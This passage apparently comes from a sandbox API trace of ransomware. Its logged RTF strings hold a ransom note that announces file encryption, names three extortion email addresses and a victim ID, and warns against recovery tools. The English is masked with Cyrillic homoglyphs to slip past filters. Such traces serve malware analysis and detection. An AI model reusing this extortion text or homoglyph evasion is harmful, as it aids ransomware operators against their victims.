r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 